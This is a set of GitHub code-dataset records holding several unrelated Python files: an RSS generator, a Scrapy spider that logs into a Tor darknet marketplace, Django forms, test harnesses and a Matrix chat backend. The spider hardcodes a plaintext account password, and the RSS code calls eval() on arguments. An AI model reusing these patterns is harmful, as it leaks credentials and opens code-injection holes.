PyRSS2Gen.RSSItem(\n title=str(eval(args.title)) if args.title else item,\n link=link,\n # description= ''\n description=description\n )\n )\n\n if args.debug:\n print(items[-1].title)\n # with open('temp.html', 'w', encoding='utf8') as f:\n # f.write(requests.get(args.url, cookies=eval(args.cookies)).text)\n # exit()\n\nrss = PyRSS2Gen.RSS2(\n title=args.name,\n link=args.url,\n description=\"RSS maker made by Dariush.\",\n language='en-us',\n lastBuildDate=datetime.datetime.utcnow().strftime(\"%a, %d %b %Y %H:%M:%S GMT\"),\n docs='http://blogs.law.harvard.edu/tech/rss',\n items=items[-100:],\n)\nf = open(args.file, encoding=\"utf-8\", mode=\"w\")\nf.write(rss.to_xml(\"utf-8\").replace('><', '>\\n<'))\n","repo_name":"Darayavaush/rss-maker","sub_path":"rssmakerbs.py","file_name":"rssmakerbs.py","file_ext":"py","file_size_in_byte":3161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4234384323","text":"import os\nimport re\nimport uuid\nimport base64\nimport requests\nfrom urllib.parse import unquote\n\nfrom scrapy import (\n Request,\n FormRequest\n)\nfrom scraper.base_scrapper import (\n MarketPlaceSpider,\n SiteMapScrapper\n)\n\n\nUSERNAME = \"blastedone\"\nPASSWORD = \"Chq#Blast888\"\n\nUSER_AGENT = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36\"\n\nPROXY = 'http://127.0.0.1:8118'\n\n\nclass EmpireSpider(MarketPlaceSpider):\n\n name = \"empire_spider\"\n\n # Url stuffs\n urls = [\n 'http://oz3jlxp4oymxt4rzuzm266fvc357fnmwzvm7iigjmntxim2w4m43s2ad.onion',\n 'http://xhhk37ey4yal7mcgv5b6f2mwtgysh5zpm6o2j33s4htosik3nobobmid.onion',\n 'http://sgxye32vhffhn7d3twtgicbchznimd6guj27pyou7jhosmxttan7c2id.onion',\n 'http://cdtqz6ip57l6ugctdq33z6hr63xanlxtmpjbvzayygow6b4hkdvuctqd.onion',\n 'http://vxyl2wkhkmtjpvbb3eia26vdzhaphrr7dbf6ovwjqy63f27vjffjwiyd.onion',\n 'http://erj7kwqkdkl73ewsuq6stztehx2tehk2aidxlex3btrfnjqax3ucvgyd.onion',\n 'http://p3f5jyqooy3pqzmugzxq2fwcxmdttkshn57nca4pserrcvw6xj5mrfid.onion',\n 'http://m4itbrzwruzzzqfjie6ygxzqnqnjxhq6d24hyjpvyk7qdtycckr73mad.onion',\n 'http://wlwcklts7mes5zcs2muzgorikvdp44mpvjglpenphqo2jwvofr75xvad.onion',\n 'http://uvkxwkpeemv4frvju6ks5wveec5bxljfibknuioejpjkl3oq2up55lyd.onion',\n 'http://igoz2dm6vqo3nuweg3vztqszxprugx2lb6xxbrmz2tkec37gc2vkd5yd.onion',\n 'http://piifyattgybu3a2rwx675ptqzeb4f7sfjxslx6n4a7kccijlksxzroqd.onion',\n 'http://k7lwzkbirsizhvtrmafqzy7ut47junhdczab3766kok2xc3odvzdijad.onion',\n 'http://sczojdk73hhztnyc6omdelztijoejf2sucfvpwfzazgvgvsbsobo5dqd.onion',\n 'http://6o6vpjt6di2nf5lykqssx4e5wnjw7pjaq4ja6dsyx2onuadevqgcbjad.onion',\n 'http://i5kjii2y2jumlye6etmouksvdhech357urmj4txctrneedl4vkfjbsqd.onion',\n 'http://p4e6p65pal3s4zrva3q3gk44s3ejl7futx47qserb2slcwyjj7sao4id.onion',\n 'http://jfjkkvra7753bp7czrooipdeacc3ptwmeuurlbb3d42ntngonhq7ycad.onion',\n ]\n\n # xpath stuffs\n login_form_xpath = '//form[@method=\"post\"]'\n captcha_instruction = 'Black characters only'\n captcha_url_xpath = '//img[contains(@src, \"captchaimg\")]/@src'\n invalid_captcha_xpath = '//p[@class=\"invalidCaptchaError\"]/text()'\n market_url_xpath = '//a[contains(@href, \"/categories/\")]/@href'\n product_url_xpath = '//a[contains(@href, \"/product/\")]/@href'\n next_page_xpath = '//a[@rel=\"next\"]/@href'\n user_xpath = '//a[contains(@href, \"/u/\")]/@href'\n avatar_xpath = '//div[@class=\"user_info_left\"]/img/@src'\n # Regex stuffs\n avatar_name_pattern = re.compile(\n r\".*/(\\S+\\.\\w+)\",\n re.IGNORECASE\n )\n\n use_proxy = \"Tor\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.headers.update(\n {\n \"User-Agent\": USER_AGENT\n }\n )\n\n def get_base_url(self, ):\n proxies = {'https': PROXY, 'http': PROXY}\n for url in self.urls:\n self.logger.info(f'Trying url: {url}')\n try:\n r = requests.get(url, proxies=proxies, timeout=15)\n if 'placeholder=\"Username\"' in r.text:\n return url\n except Exception:\n continue\n\n def synchronize_meta(self, response, default_meta={}):\n meta = {\n key: response.meta.get(key) for key in [\"cookiejar\", \"ip\"]\n if response.meta.get(key)\n }\n\n meta.update(default_meta)\n meta.update({'proxy': PROXY})\n\n return meta\n\n def get_user_id(self, url):\n return url.rsplit('u/', 1)[-1]\n\n def get_file_id(self, url):\n return url.rsplit('product/', 1)[-1].replace('/', '')\n\n def start_requests(self):\n self.base_url = self.get_base_url()\n yield Request(\n url=self.base_url,\n headers=self.headers,\n callback=self.parse_login,\n dont_filter=True,\n meta={\n 'proxy': PROXY,\n }\n )\n\n def parse_login(self, response):\n\n # Synchronize user agent for cloudfare middleware\n self.synchronize_headers(response)\n userfield = response.xpath(\n '//input[@placeholder=\"Username\"]/@name').extract_first()\n passfield = response.xpath(\n '//input[@placeholder=\"Password\"]/@name').extract_first()\n captchafield = response.xpath(\n '//input[contains(@placeholder, \"captcha\")]/@name').extract_first()\n\n # Load cookies\n cookies = response.request.headers.get(\"Cookie\").decode(\"utf-8\")\n if not cookies:\n yield from self.start_requests()\n return\n # Load captcha url\n captcha_url = response.xpath(\n self.captcha_url_xpath).extract_first()\n captcha = self.solve_captcha(\n captcha_url,\n response\n )\n self.logger.info(\n \"Captcha has been solved: %s\" % captcha\n )\n\n formdata = {\n userfield: USERNAME,\n passfield: PASSWORD,\n captchafield: captcha\n }\n print(formdata)\n\n yield FormRequest.from_response(\n response=response,\n formxpath=self.login_form_xpath,\n formdata=formdata,\n headers=self.headers,\n dont_filter=True,\n meta=self.synchronize_meta(response),\n callback=self.parse_start\n )\n\n def parse_start(self, response):\n # Synchronize cloudfare user agent\n self.synchronize_headers(response)\n\n # Check valid captcha\n is_invalid_captcha = response.xpath(\n self.invalid_captcha_xpath).extract_first()\n if is_invalid_captcha:\n self.logger.info(\n \"Invalid captcha.\"\n )\n return\n\n yield from super().parse_start(response)\n\n\nclass EmpireScrapper(SiteMapScrapper):\n spider_class = EmpireSpider\n site_name = 'empire (uhjru3mxpre7fgrmhdyd3c7kaenkzov3bxaiezp5pnsoxoqehhszi5yd.onion)'\n site_type = 'marketplace'\n","repo_name":"ken2190/Enterprise-Forum-Scraper","sub_path":"scraper/empire.py","file_name":"empire.py","file_ext":"py","file_size_in_byte":6092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40603682037","text":"import os\nflag=True\nwhile flag:\n os.system(\"python3 gerador.py >input\")\n os.system(\"./d < input > outputoriginal\")\n os.system(\"./d2 < input > outputbrute\")\n lnumbers = open(\"outputoriginal\", 'r')\n brutet = open(\"outputbrute\", 'r')\n if lnumbers.readlines() == brutet.readlines():\n print(\"ate agora ta certo\")\n else:\n print(\"deu ruim\")\n flag=False\n","repo_name":"Rdpaula/Competitive-Programming","sub_path":"tester.py","file_name":"tester.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"25637635699","text":"import bleach\n\nfrom django import forms\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.conf import settings\nfrom groupsystem.models import BasicGroup, GroupPost, GroupNews,\\\n PostComment, GroupNotification, CustomRole,\\\n GroupMemberExtraPerm\n\n\nclass CreateGroupForm(forms.ModelForm):\n def clean_name(self):\n name = self.cleaned_data.get('name', None)\n try:\n BasicGroup.objects.get(name=name)\n except ObjectDoesNotExist:\n return name\n raise forms.ValidationError(\n _('Group Exist')\n )\n\n def clean_group_type_other(self):\n group_type = self.cleaned_data.get('group_type', None)\n group_type_other = self.cleaned_data.get('group_type_other', None)\n\n if group_type == '9':\n if group_type_other:\n return group_type_other\n else:\n raise forms.ValidationError(\n _('You must specify other group type')\n )\n\n if group_type != '9':\n if group_type_other:\n raise forms.ValidationError(\n _(\"You can't fill this field with default group types\")\n )\n\n class Meta:\n model = BasicGroup\n fields = [\n 'name',\n 'short_about',\n 'group_type',\n 'group_type_other'\n ]\n\n\nclass CreatePostForm(forms.ModelForm):\n title = forms.CharField(required=True,\n widget=forms.TextInput(\n attrs={'placeholder': 'Post title'}\n ))\n post = forms.CharField(required=True,\n widget=forms.Textarea(\n attrs={'placeholder': 'Add a post'}\n ))\n\n def clean_post(self):\n post = self.cleaned_data.get('post', '')\n cleaned_text = bleach.clean(\n post,\n settings.BLEACH_VALID_TAGS,\n settings.BLEACH_VALID_ATTRS,\n settings.BLEACH_VALID_STYLES\n )\n return cleaned_text # sanitize html\n\n class Meta:\n model = GroupPost\n fields = [\n 'title',\n 'post'\n ]\n\n\nclass EditGroupForm(forms.ModelForm):\n header_image = forms.ImageField(\n required=False,\n widget=forms.FileInput\n )\n logo = forms.ImageField(\n required=False,\n widget=forms.FileInput\n )\n\n def __init__(self, *args, **kwargs):\n self.basicgroup = kwargs.pop('basicgroup', None)\n super(EditGroupForm, self).__init__(*args, **kwargs)\n\n def clean_name(self):\n name = self.cleaned_data.get('name', None)\n if self.basicgroup.name == name:\n return name\n else:\n try:\n BasicGroup.objects.get(name=name)\n except ObjectDoesNotExist:\n return name\n raise forms.ValidationError(\n _('Group name already taken')\n )\n\n def clean_group_type_other(self):\n group_type = self.cleaned_data.get('group_type', None)\n group_type_other = self.cleaned_data.get('group_type_other', None)\n\n if group_type == '9':\n if group_type_other:\n return group_type_other\n else:\n raise forms.ValidationError(\n _('You must specify other group type')\n )\n\n if group_type != '9':\n if group_type_other:\n raise forms.ValidationError(\n _(\"You can't fill this field with default group types\")\n )\n\n class Meta:\n model = BasicGroup\n fields = [\n 'name',\n 'header_image',\n 'logo',\n 'short_about',\n 'long_about',\n 'group_type',\n 'group_type_other',\n ]\n\n\nclass CreateNewsForm(forms.ModelForm):\n class Meta:\n model = GroupNews\n fields = ['title', 'news']\n\n\nclass EditPostForm(forms.ModelForm):\n def clean_post(self):\n post = self.cleaned_data.get('post', '')\n cleaned_text = bleach.clean(\n post,\n settings.BLEACH_VALID_TAGS,\n settings.BLEACH_VALID_ATTRS,\n settings.BLEACH_VALID_STYLES\n )\n return cleaned_text # sanitize html\n\n class Meta:\n model = GroupPost\n fields = [\n 'post'\n ]\n\n\nclass EditCommentForm(forms.ModelForm):\n class Meta:\n model = PostComment\n fields = [\n 'comment',\n ]\n\n\nclass EventForm(forms.Form):\n event_id = forms.CharField(widget=forms.HiddenInput(), required=False)\n title = forms.CharField(label=\"Title\", max_length=60, required=True)\n start_date = forms.DateTimeField(\n required=True,\n label='Start Date',\n widget=forms.TextInput(\n attrs={\n 'class': 'datepicker'\n }\n )\n )\n end_date = forms.DateTimeField(\n required=False,\n label='End Date',\n widget=forms.TextInput(\n attrs={\n 'class': 'datepicker'\n }\n )\n )\n color = forms.CharField(label='Color', required=True)\n\n\nclass NotificationForm(forms.ModelForm):\n class Meta:\n model = GroupNotification\n fields = [\n 'notification'\n ]\n\n\nclass CustomRoleCreateForm(forms.ModelForm):\n def __init__(self, *args, **kwargs):\n self.group_id = kwargs.pop('group_id', None)\n super(CustomRoleCreateForm, self).__init__(*args, **kwargs)\n\n def clean_custom_role_name(self):\n restricted_names = ['superadmin', 'admin', 'moderator', 'member', 'subscriber']\n custom_role_name = self.cleaned_data.get('custom_role_name', None)\n if custom_role_name.lower() in restricted_names:\n raise forms.ValidationError(\n _(\n \"You can't choose a default role name\"\n )\n )\n try:\n CustomRole.objects.get(permission_group='%s_%s' % (self.group_id, custom_role_name))\n except ObjectDoesNotExist:\n return custom_role_name\n raise forms.ValidationError(_(\"Role exist\"))\n\n class Meta:\n model = CustomRole\n fields = [\n 'custom_role_name'\n ]\n\n\nclass EditRolePermForm(forms.ModelForm):\n class Meta:\n model = CustomRole\n exclude = [\n 'basic_group',\n 'custom_role_name',\n 'permission_group'\n ]\n\n\nclass EditExtraPermForm(forms.ModelForm):\n class Meta:\n model = GroupMemberExtraPerm\n exclude = [\n 'basic_group',\n 'user'\n ]\n","repo_name":"nullc0der/ekataplatform","sub_path":"groupsystem/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":6749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7739831052","text":"n = int(input())\nprev = None\ntemp = None\nflag = True\nis_decreasing = True\nis_increasing = False\nfor i in range(n):\n if temp is None:\n temp = int(input())\n prev = temp\n continue\n temp = int(input())\n if is_decreasing:\n if(temp < prev):\n continue\n if (temp == prev):\n flag = False\n break\n if (temp > prev):\n is_decreasing = False\n is_increasing = True\n continue\n\n if is_increasing:\n if (temp <= prev):\n flag = False\n break\n\nif flag:\n print(\"true\")\nelse:\n print(\"false\")\n","repo_name":"mercurist/Machine-Learning","sub_path":"Kickstart Python/Python Intermediate/Practice problems/sequence.py","file_name":"sequence.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34742868749","text":"from economics.raw_data.monthly_us_labor_files_to_rds import LaborBLStoRDS\nfrom common.helpers.common_dependency_helper import register_common_mock_dependencies\nfrom common.utilities.inversion_of_control import dependencies, Dependency\nfrom datetime import datetime\nimport __builtin__\nimport StringIO\nimport unittest\nimport mox\nimport os\nimport requests\n\n__author__ = 'clairseager'\n\n\nclass LaborFTPtoRDSTest(mox.MoxTestBase):\n\n def setUp(self):\n super(LaborFTPtoRDSTest, self).setUp()\n\n # set up mocks\n register_common_mock_dependencies()\n self.mox.StubOutWithMock(__builtin__, \"open\")\n\n self.mock_main_access = Dependency(\"CoreAPIProvider\").value\n self.deployment_provider = Dependency(\"DeploymentProvider\").value\n self.requests = self.mox.CreateMock(requests)\n self.email_provider = Dependency(\"EmailProvider\").value\n\n # logger\n self.logger = Dependency(\"SimpleConsole\").value\n\n self.email_recipients = [\"taco\"]\n self.url = \"fake_url.com/fake/directory/\"\n\n self.downloader = LaborBLStoRDS(self.logger, self.email_recipients, rds_directory=\"/whatevs/data\")\n self.downloader.url = self.url\n self.downloader.local_dir = \"monty/python/\"\n self.downloader.file_name = \"TacoDonut\"\n self.downloader.zipped_filename = self.downloader.file_name + \".tar.gz\"\n self.downloader.rds_path = \"holy/grail\"\n self.downloader.skip_files_containing = [\"Alaska\", \"footnote\"]\n self.downloader.requests = self.requests\n\n def tearDown(self):\n # remove dependencies for next set of tests\n dependencies.clear()\n\n def test_download_files(self):\n\n urls, dates = self.downloader.parse_directory_html(mock_html_listing)\n\n for f in urls:\n if \"Alaska\" not in f and \"footnote\" not in f:\n self.requests.get(f).AndReturn(MockRequest())\n fn = self.downloader.local_dir + f.split(\"/\")[-1]\n opf = open(fn, 'w').AndReturn(MockFile())\n opf.write(\"asdf\")\n\n self.mox.ReplayAll()\n self.downloader.download_files(urls)\n\n self.assertItemsEqual(self.downloader.saved_files, mock_file_list)\n self.assertNotIn(\"la.data.Alaska\", self.downloader.saved_files)\n\n def test_upload_to_rds(self):\n # set up a fake file for the mocked open method to return\n f = open(self.downloader.zipped_filename, 'rb').AndReturn(MockFile())\n self.mox.ReplayAll()\n\n self.downloader.upload_to_rds(datetime.utcnow())\n\n self.assertDictEqual(self.downloader.response, {\"holy/grail/TacoDonut.tar.gz\":\"fake_object_id\"})\n self.assertItemsEqual(self.mock_main_access.rds.files, [(self.downloader.rds_path, self.downloader.file_name + \".tar.gz\")])\n\n def test_send_email_no_exception(self):\n self.downloader.send_email()\n\n self.assertItemsEqual(self.email_provider.to_email, self.email_recipients)\n self.assertEqual(self.email_provider.from_email, \"zoolander@signaldataco.com\")\n self.assertEqual(self.email_provider.subject, \"Monthly Labor Downloader Succeeded\")\n self.assertIn(\"Monthly Labor Downloader Success!\", self.email_provider.message)\n\n def test_send_email_with_exception(self):\n self.downloader.send_email(exception_message=\"DANCE IS LIFE\")\n\n self.assertItemsEqual(self.email_provider.to_email, self.email_recipients)\n self.assertEqual(self.email_provider.from_email, \"zoolander@signaldataco.com\")\n self.assertEqual(self.email_provider.subject, \"Monthly Labor Downloader Error!\")\n self.assertIn(\"Monthly Labor Downloader Error!\", self.email_provider.message)\n self.assertIn(\"DANCE IS LIFE\", self.email_provider.message)\n self.assertNotIn(\"DANCE IS LIFF\", self.email_provider.message)\n\n def test_send_email_with_info(self):\n info = {\"extra_info\": \"goes here\"}\n self.downloader.response = info\n self.downloader.send_email()\n\n self.assertItemsEqual(self.email_provider.to_email, self.email_recipients)\n self.assertEqual(self.email_provider.from_email, \"zoolander@signaldataco.com\")\n self.assertEqual(self.email_provider.subject, \"Monthly Labor Downloader Succeeded\")\n self.assertIn(\"Monthly Labor Downloader Success!\", self.email_provider.message)\n self.assertIn(str(info), self.email_provider.message)\n\n def test_run(self):\n\n r = self.requests.get(self.url).AndReturn(MockRequest())\n r.text = mock_html_listing\n\n urls, dates = self.downloader.parse_directory_html(mock_html_listing)\n\n # stub out the call to check for the latest bls file date, and make the file in RDS seem old\n self.mox.StubOutWithMock(self.downloader.main_access.rds, \"call_get_latest_in_path\")\n mock_response = self.mox.CreateMockAnything()\n def mock_json():\n return {\"metadata\": {\"max_bls_file_date\": datetime(1900,1,1)}}\n mock_response.json = mock_json\n self.downloader.main_access.rds.call_get_latest_in_path(\"/whatevs/data\").AndReturn(mock_response)\n\n self.downloader.get_filenames = lambda x: (\"TacoDonut\", \"monty/python/\", \"TacoDonut.tar.gz\")\n self.downloader.get_filenames(mock_html_listing)\n\n for f in urls:\n if \"Alaska\" not in f and \"footnote\" not in f:\n self.requests.get(f).AndReturn(MockRequest())\n fn = self.downloader.local_dir + f.split(\"/\")[-1]\n opf = open(fn, 'w').AndReturn(MockFile())\n opf.write(\"asdf\")\n\n f = open(self.downloader.zipped_filename, 'rb').AndReturn(MockFile())\n\n self.mox.ReplayAll()\n\n self.downloader.run()\n\n self.assertItemsEqual(self.email_provider.to_email, self.email_recipients)\n self.assertEqual(self.email_provider.from_email, \"zoolander@signaldataco.com\")\n self.assertIn(str(self.downloader.response), self.email_provider.message)\n\n self.assertItemsEqual(self.deployment_provider.deleted_files, [\"\".join([os.path.expanduser(\"~/\"), i]) for i in [\"monty/python\", \"monty/python.tar.gz\"]])\n self.assertEqual(self.deployment_provider.tar_filename, self.downloader.file_name)\n self.assertEqual(self.deployment_provider.tar_zipped_file_name, self.downloader.zipped_filename)\n\n self.assertItemsEqual(self.downloader.saved_files, mock_file_list)\n self.assertNotIn(\"la.data.Alaska\", self.downloader.saved_files)\n self.assertDictEqual(self.downloader.response, {\"holy/grail/TacoDonut.tar.gz\":\"fake_object_id\"})\n\n self.assertItemsEqual(self.mock_main_access.rds.files, [(self.downloader.rds_path, self.downloader.file_name + \".tar.gz\")])\n\n\nclass MockFile():\n\n def __enter__(self):\n return StringIO.StringIO(\"Fake File\")\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n pass\n\n def write(self, text):\n pass\n\nclass MockRequest():\n\n text = \"asdf\"\n\n\nmock_html_listing = \"\"\"\ndownload.bls.gov - /pub/time.series/la/

download.bls.gov - /pub/time.series/la/


\n\n
[To Parent Directory]
\n
\n 3/22/2013 9:27 AM 380154 la.area
\n 3/20/2006 4:19 PM 468 la.area_type
\n 4/15/2005 9:58 AM 316 la.contacts
\n12/20/2013 10:20 AM 87349704 la.data.0.CurrentU00-04
\n12/20/2013 10:22 AM 30786564 la.data.62.Micro
\n12/20/2013 10:22 AM 6993064 la.data.63.Combined
\n12/20/2013 10:23 AM 7130376 la.data.7.Alabama
\n12/20/2013 10:23 AM 2052188 la.data.8.Alaska
\n12/20/2013 10:23 AM 2911688 la.data.9.Arizona
\n 3/1/2013 10:29 AM 973 la.footnote
\n 3/1/1994 5:41 PM 97 la.measure
\n 11/15/2013 3:12 PM 206 la.notice
\n 3/1/1994 5:41 PM 252 la.period
\n 12/20/2013 10:23 AM 1854926 la.series
\n 3/10/2005 9:10 AM 818 la.state_region_division
\n 10/17/2007 8:45 AM 16838 la.txt
\n 7/23/2008 4:57 PM <dir> maps
\n

\"\"\"\n\nmock_file_list = [\n 'la.area',\n 'la.area_type',\n 'la.contacts',\n 'la.data.0.CurrentU00-04',\n 'la.data.62.Micro',\n 'la.data.63.Combined',\n 'la.data.7.Alabama',\n 'la.data.9.Arizona',\n 'la.measure',\n 'la.period',\n 'la.series',\n 'la.state_region_division',\n 'la.txt',\n 'la.notice',\n 'maps'\n]\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"erezrubinstein/aa","sub_path":"tests/unit_tests/economics_tests/test_monthly_labor_files_to_rds.py","file_name":"test_monthly_labor_files_to_rds.py","file_ext":"py","file_size_in_byte":9266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32684287131","text":"#!/usr/bin/env python3\n\nimport sys\nimport string\n\ntokens = sys.stdin.read().split()\nunique = []\nfor token in tokens:\n token = token.lower()\n for c in token:\n if c in string.punctuation:\n token = token.replace(c, \"\")\n if token.isalnum() is True and token not in unique:\n unique.append(token)\nprint (len(unique))\n","repo_name":"thomashazekamp/CA117","sub_path":"02week/labsheet-2.1/unique_count_021.py","file_name":"unique_count_021.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40476619955","text":"import logging\n\nimport sys\nfrom typing import Any, Optional, List, Dict\nfrom errbot.backends.base import RoomError, Identifier, Person, RoomOccupant, Room, Message, ONLINE\nfrom errbot.core import ErrBot\n\nlog = logging.getLogger('errbot.backends.matrix-nio')\ntry:\n from nio import LoginError, AsyncClientConfig, RoomSendResponse, ErrorResponse, JoinedRoomsError, RoomForgetError, \\\n MatrixRoom\n import asyncio\n import nio\nexcept ImportError:\n log.exception(\"Could not start the Matrix Nio back-end\")\n log.error(\n \"You need to install the Matrix Nio support in order \"\n \"to use the Matrix Nio backend.\\n\"\n \"You should be able to install this package using:\\n\"\n \"pip install matrix-nio\"\n )\n sys.exit(1)\n\n\nclass MatrixNioRoomError(RoomError):\n def __init__(self, message: str = None):\n if message is None:\n message = (\n \"I currently do not support this request :(\\n\"\n \"I still love you.\"\n )\n super().__init__(message)\n\n\nclass MatrixNioIdentifier(Identifier):\n def __init__(self, an_id: str):\n self._id = str(an_id)\n\n @property\n def id(self) -> str:\n return self._id\n\n def __unicode__(self) -> str:\n return str(self._id)\n\n def __eq__(self, other) -> bool:\n if hasattr(other, \"id\"):\n return self._id == other.id\n else:\n return False\n\n __str__ = __unicode__\n\n\n# `MatrixNioPerson` is used for both 1-1 PMs and Group PMs.\nclass MatrixNioPerson(MatrixNioIdentifier, Person):\n def __init__(self, an_id: str, client: nio.Client, full_name: str, emails: Optional[List[str]] = None):\n super().__init__(an_id)\n self._full_name = full_name\n self._emails = emails\n self._client = client\n\n @property\n def person(self) -> str:\n \"\"\"\n Maps to user_id\n :return: user_id\n \"\"\"\n return self._id\n\n @property\n def fullname(self) -> str:\n \"\"\"\n Maps to ProfileGetResponse.displayname\n :return: ProfileGetResponse.displayname\n \"\"\"\n return self._full_name\n\n @property\n def nick(self) -> str:\n \"\"\"\n Maps to ProfileGetResponse.displayname\n :return: ProfileGetResponse.displayname\n \"\"\"\n return self._full_name\n\n @property\n def client(self) -> nio.Client:\n \"\"\"\n Maps to AsyncClient\n :return: AsyncClient\n \"\"\"\n return self._client\n\n @property\n def emails(self) -> Optional[List[str]]:\n \"\"\"\n Maps to ProfileGetResponse.other_info['address']\n :return: ProfileGetResponse.other_info['address']\n \"\"\"\n return self._emails\n\n @property\n def aclattr(self) -> str:\n \"\"\"\n Maps to ProfileGetResponse.other_info['address']\n :return: ProfileGetResponse.other_info['address']\n \"\"\"\n if self.emails:\n return ','.join(sorted(self.emails))\n else:\n return \"\"\n\n\nclass MatrixNioRoom(MatrixNioIdentifier, Room):\n def __init__(self, an_id: str, client: nio.Client, title: str, subject: str = None):\n super().__init__(an_id)\n self._title = title\n self._subject = subject\n self._client = client\n self.matrix_room = self._client.rooms[an_id]\n\n @classmethod\n def from_matrix_room(cls, matrix_room: MatrixRoom, nio_client: nio.Client):\n room = cls(\n matrix_room.room_id,\n nio_client,\n matrix_room.topic\n )\n room.matrix_room = matrix_room\n return room\n\n @property\n def id(self) -> str:\n \"\"\"\n Maps to MatrixRoom.room_id\n :return: MatrixRoom.room_id\n \"\"\"\n return self._id\n\n @property\n def aclattr(self) -> str:\n \"\"\"\n Maps to MatrixRoom.own_user_id\n :return: MatrixRoom.own_user_id\n \"\"\"\n return self.matrix_room.own_user_id\n\n @property\n def subject(self) -> str:\n \"\"\"\n Maps to MatrixRoom.topic\n :return: MatrixRoom.topic\n \"\"\"\n return self.matrix_room.topic\n\n @property\n def title(self) -> str:\n \"\"\"\n Maps to MatrixRoom.display_name\n :return: MatrixRoom.display_name\n \"\"\"\n return self.matrix_room.display_name\n\n @property\n def exists(self) -> bool:\n rooms_list = list(self._client.rooms.keys())\n return self.id in rooms_list\n\n @property\n def joined(self) -> bool:\n joined_rooms = asyncio.get_event_loop().run_until_complete(self._client.joined_rooms())\n if isinstance(joined_rooms, JoinedRoomsError):\n raise ValueError(f\"Error while fetching joined rooms {joined_rooms}\")\n return self.id in joined_rooms.rooms\n\n def destroy(self) -> None:\n result = asyncio.get_event_loop().run_until_complete(self._client.room_forget(self.id))\n if isinstance(result, RoomForgetError):\n raise ValueError(f\"Error while forgetting/destroying room {result}\")\n\n async def join(self, username: str = None, password: str = None) -> None:\n result = None\n if self._client:\n result = await self._client.join(self.id)\n if isinstance(result, nio.responses.JoinError):\n raise MatrixNioRoomError(result)\n\n async def create(self) -> None:\n result = await self._client.room_create(\n name=self.title,\n topic=self.subject\n )\n if isinstance(result, nio.responses.RoomCreateError):\n raise MatrixNioRoomError(result)\n\n async def leave(self, reason: str = None) -> None:\n if self._client:\n result = await self._client.room_leave(self.id)\n if isinstance(result, nio.responses.RoomLeaveError):\n raise MatrixNioRoomError(result)\n\n @property\n def topic(self) -> str:\n \"\"\"\n Maps to MatrixRoom.topic\n :return: MatrixRoom.topic\n \"\"\"\n return self.matrix_room.topic\n\n @property\n def occupants(self) -> list:\n \"\"\"\n Maps to MatrixRoom.users\n :return: MatrixRoom.users\n \"\"\"\n users = self.matrix_room.users\n occupants = []\n for i in users:\n an_occupant = MatrixNioRoomOccupant(i.user_id, full_name=i.display_name, client=self._client)\n occupants.append(an_occupant)\n return occupants\n\n async def invite(self, *args: List[Any]) -> None:\n result_list = []\n for i in args[0]:\n result = await self._client.room_invite(i.user_id)\n result_list.append(result)\n if any(isinstance(x, nio.responses.RoomInviteError) for x in result_list):\n raise MatrixNioRoomError(str(result_list))\n\n\nclass MatrixNioRoomOccupant(MatrixNioPerson, RoomOccupant):\n \"\"\"\n This class represents a person subscribed to a stream.\n \"\"\"\n\n def __init__(self,\n an_id: str,\n full_name: str,\n client: nio.Client,\n emails: Optional[List[str]] = None,\n room: MatrixNioRoom = None):\n super().__init__(an_id, full_name=full_name, emails=emails, client=client)\n self._room = room\n\n @property\n def room(self) -> Optional[MatrixNioRoom]:\n return self._room\n\n\nclass MatrixNioBackend(ErrBot):\n def __init__(self, config):\n super().__init__(config)\n self.has_synced = False\n self.identity = config.BOT_IDENTITY\n for key in ('email', 'auth_dict', 'site'):\n if key not in self.identity:\n log.fatal(\n f\"You need to supply the key `{key}` for me to use. `{key}` and its value \"\n \"can be found in your bot's `matrixniorc` config file.\"\n )\n sys.exit(1)\n # Store the sync token in order to avoid replay of old messages.\n config = AsyncClientConfig(store_sync_tokens=True)\n self.client = nio.AsyncClient(\n self.identity['site'],\n self.identity['email'],\n config=config\n )\n\n def serve_once(self) -> bool:\n log.debug(\"Serve once\")\n return asyncio.get_event_loop().run_until_complete(self._serve_once())\n\n async def _serve_once(self) -> bool:\n try:\n if not self.client.logged_in:\n log.info(\"Initializing connection\")\n login_response = await self.client.login_raw(self.identity['auth_dict'])\n if isinstance(login_response, LoginError):\n log.error(f\"Failed login result: {login_response}\")\n raise ValueError(login_response)\n self.connect_callback()\n self.bot_identifier = await self.build_identifier(login_response.user_id)\n self.reset_reconnection_count()\n if self.has_synced:\n log.debug(\"Starting sync\")\n await self.client.sync_forever(30000, full_state=True)\n log.debug(\"Sync finished\")\n return False\n else:\n log.info(\"First sync, discarding previous messages\")\n sync_response = await self.client.sync(full_state=True)\n if isinstance(sync_response, ErrorResponse):\n log.exception(\"Error reading from Matrix Nio updates rooms.\")\n raise ValueError(sync_response)\n self.has_synced = True\n self.client.next_batch = sync_response.next_batch\n # Only setup callback after first sync in order to avoid processing previous messages\n self.client.add_event_callback(self.handle_message, nio.RoomMessageText)\n log.info(\"End of first sync, now starting normal operation\")\n return False\n except (KeyboardInterrupt, StopIteration):\n log.info(\"Interrupt received, shutting down..\")\n await self.client.logout()\n log.debug(\"Triggering disconnect callback.\")\n self.disconnect_callback()\n return True\n\n def handle_message(self, room: nio.MatrixRoom, event: nio.Event) -> None:\n \"\"\"\n Handles incoming messages.\n \"\"\"\n 